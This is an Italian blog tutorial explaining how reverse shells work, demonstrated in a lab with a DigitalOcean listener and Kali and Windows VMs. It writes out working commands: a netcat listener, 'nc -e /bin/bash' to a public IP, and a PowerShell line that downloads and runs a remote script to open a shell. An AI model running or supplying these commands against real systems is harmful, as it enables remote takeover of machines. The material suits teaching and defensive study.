Nicholas Giordano

Cloud Arch. & Full Stack Developer

Reverse shell

Cosa si intende per reverse shell? Solitamente, per ottenere il controllo di un sistema compromesso, un attaccante punta ad ottenere accesso ad una shell per poter eseguire comandi arbitrari e poter operare direttamente su un sistema.

Immaginando una situazione in cui il sistema attaccato è un server remoto, l’utente attaccante si comporta come client mentre la macchina oggetto dell’attacco è il server remoto. Con il reverse shell i ruoli sono invece invertiti: è la macchina oggetto dell’attacco che avvia la connessione con l’utente remoto, che semplicemente resta in attesa di questa connessione su specifiche porte.

L’attacco mediante reverse shell è molto comune per come i firewall sono solitamente configurati sui server: raramente un firewall permetterà accesso diretto ad una shell da un indirizzo sconosciuto, e le uniche porte ampiamente aperte a tutta la rete saranno con buona probabilità la porta 80 (HTTP) e la 443 (HTTPS). Al contrario delle porte in entrata, i firewall non limitano solitamente le connessioni in uscita dal server, ciò potrebbe permettere ad un attaccante di stabilire una connessione tra un suo server (preferibilmente con un ip pubblico da cui sia possibile fare routing se l’obiettivo è una macchina remota) e la macchina oggetto dell’attacco mediante l’utilizzo di tool come netcat, facendo partire la connessione dalla macchina remota (eliminando le restrizioni delle regole in ingresso imposte dal firewall) e restando semplicemente in attesa di quella connessione.

Per dimostrare quanto detto sopra, ipotizzeremo di attaccare due macchine presenti sulla nostra rete locale, che nel nostro caso saranno due VM: Windows10 e KaliLinux. Per dimostrare l’efficacia dell’attacco useremo invece una macchina all’esterno della nostra rete che può essere una vps, un’ istanza EC2 in AWS, una macchina virtuale su Azure o una droplet su Digital Ocean (nel nostro caso useremo l’ultima opzione). Se non abbiamo la possibilità di creare macchine virtuali sulla nostra rete locale ovviamente nulla ci vieta di effettuare una prova di attacco su un pc fisico o sul nostro stesso sistema.

Setup della macchina “attaccante” (colei che sarà in attesa delle connessioni)

Per prima cosa dobbiamo configurare una macchina linux remota dove più preferiamo, nel nostro caso utilizzeremo DigitalOcean. Se non avete un account su digitalocean potete utilizzare il link che segue per crearne uno, ottenere 100$ di credito gratuito per 60 giorni e fare tutte le prove che volete: https://m.do.co/c/42e75dfe7047 (magari per creare anche un sito web o altro).

Una volta effettuato accesso su digitalocean di basterà creare una nuova droplet come da immagine che segue

creazione droplet (macchina virtuale)

Sarà poi possibile scegliere la tipologia di droplet (vm) da creare, nel nostro caso una versione base di ubuntu18 con tutte le impostazioni al minimo va bene. E’ molto importante in questo passaggio ricordare la password/modalità di accesso scelta per la creazione della nostra droplet.

Se non sappiamo come creare una droplet possiamo fare riferimento al seguente video:

Una volta che la nostra droplet è stata creata con successo ci basta cliccarci sopra per visualizzare il suo indirizzo IP, che dovremo copiare e salvarci. Questo indirizzo ci servirà per connetterci e configurare la macchina remota e sarà utilizzando anche dai sistemi attaccati: sarà infatti l’indirizzo a cui questi si collegheranno.

IP della droplet

Una volta che abbiamo creato la nostra macchina remota basterà connetterci tramite ssh e iniziare la configurazione (su windows è possibile utilizzare il client Putty).

Apriamo un terminale e scriviamo ssh [email protected]_MACCHINA che nel nostro caso sarà ssh [email protected] , ci verrà a questo punto chiesta la password (scelta in fase di creazione della macchina remota); una volta inserita saremo collegati alla macchina. Netcat è installato di default su tutte le macchine linux, non c’è nulla da installare quindi; dobbiamo però avviare il processo di “ascolto” sulla macchina remota, che proprio come dice la parola stessa resterà in ascolto di connessioni provenienti dalle macchine attaccate.

Per mettere netcat in ascolto digitiamo sul terminale remoto a cui siamo connessi tramite ssh il comando nc -lnvp PORTA -s IP che nel nostro caso sarà nc -lnvp 87 -s 165.227.135.79.

I parametri hanno il seguente significato:

  • l = listen
  • n = no DNS (verrà utilizzato unicamente l’ip della macchina remota)
  • v = verbose
  • p = porta (la porta su cui saremo in ascolto)
  • s = specifica l’interfaccia di ascolto
esempio del sistema in ascolto

Connessione da macchina target Linux

Vediamo ora come stabilire una reverse shell da una macchina linux “vittima”. Nel nostro caso utilizzeremo una VM Kali Linux. Una volta avviata ci basta aprire il terminale e dare il comando nc -e /bin/bash INDIRIZZO_IP PORTA che nel nostro caso sarà nc -e /bin/bash 165.227.135.79 87. Dopo aver dato questo comando, se torniamo sulla nostra macchina remota noteremo che la shell segnala che effettivamente è stata ricevuta una connessione. Da questo momento, dalla nostra macchina remota, possiamo eseguire qualsiasi comando arbitrario sulla macchina vittima, ci basterà digitarli sulla shell della nostra macchina remota.

Esempio connessione ricevuta su macchina remota

Connessione da macchina target Windows

Al contrario dei sistemi Linux, su Windows netcat non è installato nativamente, possiamo certamente installarlo ma per quello che vogliamo provare a fare sarebbe molto più comodo poter utilizzare qualcosa presente di default sul sistema. Per fare ciò ci aiuta molto la presenza di Powershell sui sistemi Windows. Per fare questo utilizzeremo il repository git https://github.com/swisskyrepo/PayloadsAllTheThings che contiene una serie di script utili a questo scopo, nel nostro specifico caso useremo questo: https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Reverse%20Shell%20Cheatsheet.md#fully-interactive-reverse-shell-on-windows

Sulla macchina remota digitiamo stty raw -echo; (stty size; cat) | nc -lnvp PORTA -s IP che nel nostro caso sarà stty raw -echo; (stty size; cat) | nc -lnvp 87 -s 165.227.135.79. Fatto ciò la nostra macchina remota sarà di nuovo in ascolto e possiamo quindi ora passare alla macchina windows, aprire powershell e digitare IEX(IWR https://raw.githubusercontent.com/antonioCoco/ConPtyShell/master/Invoke-ConPtyShell.ps1 -UseBasicParsing); Invoke-ConPtyShell IP PORTA che nel nostro caso sarà IEX(IWR https://raw.githubusercontent.com/antonioCoco/ConPtyShell/master/Invoke-ConPtyShell.ps1 -UseBasicParsing); Invoke-ConPtyShell 165.227.135.79 87. Un volta fatto ciò la macchina locale stabilirà una connessione con quella remota in ascolto e come per il caso precedente sarà per noi possibile eseguire comandi tramite shell della macchina remota.

E nella pratica?

Nella realtà dei fatti non avremo mai accesso diretto alle macchine “vittima” per lanciare i comandi visti in precedenza, il trucco è trovare il modo per far lanciare quei comandi alle macchine obiettivo. Può essere fatto in vari modi e utilizzando varie tecniche che non saranno approfondite in questo articolo che ha il solo scopo divulgativo.